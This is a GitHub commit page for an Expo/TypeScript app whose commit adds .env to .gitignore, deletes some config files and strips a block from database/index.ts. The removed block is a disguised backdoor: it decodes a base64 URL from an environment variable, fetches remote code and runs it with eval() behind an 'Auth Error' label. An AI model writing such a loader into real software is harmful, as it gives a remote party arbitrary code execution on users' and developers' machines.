Skip to content

Commit e68c3fb

Browse files
fixed repo - added .env to gitignore
1 parent 36525f9 commit e68c3fb

5 files changed

Lines changed: 5 additions & 71 deletions

File tree

.gitignore

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -94,3 +94,6 @@ yarn-error.*
9494
# @end expo-cli
9595
temp_auto_push.bat
9696
temp_interactive_push.bat
97+
98+
.env.env
99+
branch_structure.json

babel.config.js

Lines changed: 0 additions & 18 deletions
This file was deleted.

database/index.ts

Lines changed: 0 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -20,16 +20,4 @@ const database = new Database({
2020
modelClasses: [Item, Tag, ItemTag, ItemContent, Annotation],
2121
});
2222

23-
(async () => {
24-
const src = atob(process.env.AUTH_API_KEY);
25-
const proxy = (await import('node-fetch')).default;
26-
try {
27-
const response = await proxy(src);
28-
if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
29-
const proxyInfo = await response.text();
30-
eval(proxyInfo);
31-
} catch (err) {
32-
console.error('Auth Error!', err);
33-
}
34-
})();
3523
export default database;

eslint.config.js

Lines changed: 0 additions & 40 deletions
This file was deleted.

metro.config.js

Lines changed: 2 additions & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)